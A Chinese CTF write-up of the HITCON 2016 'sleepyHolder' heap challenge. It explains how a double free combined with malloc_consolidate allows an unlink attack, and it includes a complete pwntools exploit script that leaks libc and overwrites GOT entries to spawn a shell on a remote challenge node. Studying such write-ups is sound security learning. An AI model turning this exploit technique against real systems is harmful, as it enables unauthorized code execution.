BUU-sleepyHolder_hitcon_2016-WP

Posted on Mar 16, 2021

不得不说 hitcon 2016 那场比赛的堆题是真的都很牛叉,让我学到了很多东西。这道题和同场比赛中的 secret_holder 有在总体流程上几乎一样,但是利用方式不同。

这个程序除了 double free 之外是没有漏洞的,如何利用这个 double free 呢?之前那道 secret_holder 是通过类似 chunk overlapping 的方法实现 UAF 然后 unlink 的,但是本题的 huge chunk 只能申请一次,然后就完全无法操作了。那么如何实现类似的 UAF 呢?方法比较巧妙,我也很遗憾自己没有想出来。利用的是 malloc_consolidate 函数,我们知道 ptmalloc 在处理 big request 的时候,遍历到 large bin 的时候,会先调用 malloc_consolidate 函数整理碎片,这个时候会把 fastbin 中所有的 bin 先尝试合并,然后放到其对应的 bin 中。而本题可以申请一次 huge chunk,就有了触发 malloc_consolidate 的机会。我们的解法就是申请一个 small secret,再申请一个 big secret,两个 chunk 分别记作 A,B,先 free 掉 A,然后申请 huge secret,在 malloc_consolidate 后,A,本来属于 fastbin,就被收入了 smallbin,其下一个 chunk,也就是 B 的 prev_inuse 位被置为零。

然后我们再回想一下 fastbin 对 double free 的检测:简单地用 fastbin 的头节点指向的地址和被 free 的 chunk 的地址相比较,不同的话就通过检测。对本题,由于之前已经卸下了 A,fastbin 为空,所以可以直接 double free。接下来是重点,如果我们 double free A,分配器断定 B 的 prev_inuse 位必然为 1,而 A 的大小属于 fastbin,fastbin 的空余空间也可以存储这个 chunk,所以 free 掉 A 后,B 的 prev_inuse 仍然会是 1,所以分配器不会修改该位。然后我们再把 A 申请回来,由于 A 是 fastbin,分配器仍然断定 B 的 prev_inuse 本来就是 1,还是不会修改这一位,那么我们在删除 B 的时候就可以触发 unlink 了。之后就是老方法,此处不再赘述。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

def Keep(secret_type,payload):
    sh.sendlineafter("3. Renew secret\n",'1')
    sleep(0.3)
    sh.sendline(str(secret_type))
    sh.sendafter("secret: \n",payload)

def Wipe(secret_type):
    sh.sendlineafter("3. Renew secret\n",'2')
    sh.sendlineafter("2. Big secret\n",str(secret_type))

def Renew(secret_type,payload):
    sh.sendlineafter("3. Renew secret\n",'3')
    sh.sendlineafter("2. Big secret\n",str(secret_type))
    sh.sendafter("secret: \n",payload)

elf = ELF("./sleepyHolder_hitcon_2016")
#sh = process("./sleepyHolder_hitcon_2016")
sh = remote("node3.buuoj.cn",25979)
libc = ELF("./libcs/buu-64-libc.so")

Keep(1,'\n')
Keep(2,'\n')

Wipe(1)
Keep(3,'\n')
Wipe(1)
Keep(1,'\n')

small_s = 0x6020D0
payload = p64(0) + p64(0x21) + p64(small_s - 0x18) + p64(small_s - 0x10) + p64(0x20)
Renew(1,payload)

#gdb.attach(proc.pidof(sh)[0])
Wipe(2)

payload = p64(0) + p64(elf.got["free"]) + p64(0) + p64(0x6020C0) + p32(1) + p32(1) + p32(1)
Renew(1,payload)

Renew(2,p64(elf.plt["puts"]))
Renew(1,p64(elf.got["atoi"]))
Wipe(2)
atoi_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = atoi_addr - libc.symbols["atoi"]
log.success("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.symbols["system"]

Renew(1,p64(elf.got["atoi"]) + p64(0) + p64(0x6020C0) + p32(1) * 3)
Renew(2,p64(system_addr))

#after this you should input "sh" yourself to get the shell

sh.interactive()